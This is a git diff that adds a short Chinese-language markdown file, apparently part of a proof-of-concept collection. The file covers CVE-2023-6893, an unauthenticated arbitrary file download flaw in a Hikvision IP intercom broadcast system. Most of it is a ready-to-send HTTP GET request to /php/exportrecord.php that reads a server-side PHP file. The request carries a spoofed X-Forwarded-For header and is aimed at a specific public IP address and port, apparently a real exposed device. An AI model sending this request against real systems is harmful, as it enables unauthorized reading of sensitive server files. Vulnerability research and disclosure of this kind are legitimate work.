diff --git a/海康威视IP网络对讲广播系统任意文件下载漏洞CVE-2023-6893.md b/海康威视IP网络对讲广播系统任意文件下载漏洞CVE-2023-6893.md
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+## 海康威视IP网络对讲广播系统任意文件下载漏洞CVE-2023-6893
+IP网络对讲广播系统在3.0.3_20201113_RELEASE(HIK)版本中存在任意文件下载漏洞，未授权的攻击者能够通过/php/exportrecord.php文件读取任意文件内容，导致服务器的敏感信息泄露
+
+## poc
+```
+GET /php/exportrecord.php?downtype=10&downname=C:\ICPAS\Wnmp\WWW\php\conversion.php HTTP/1.1
+Host: 219.128.48.234:4080
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Connection: close
+Upgrade-Insecure-Requests: 1
+X-Forwarded-For: 1.1.1.1
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/45def3bd-0e18-42f5-96c6-2d53c7ebdf34)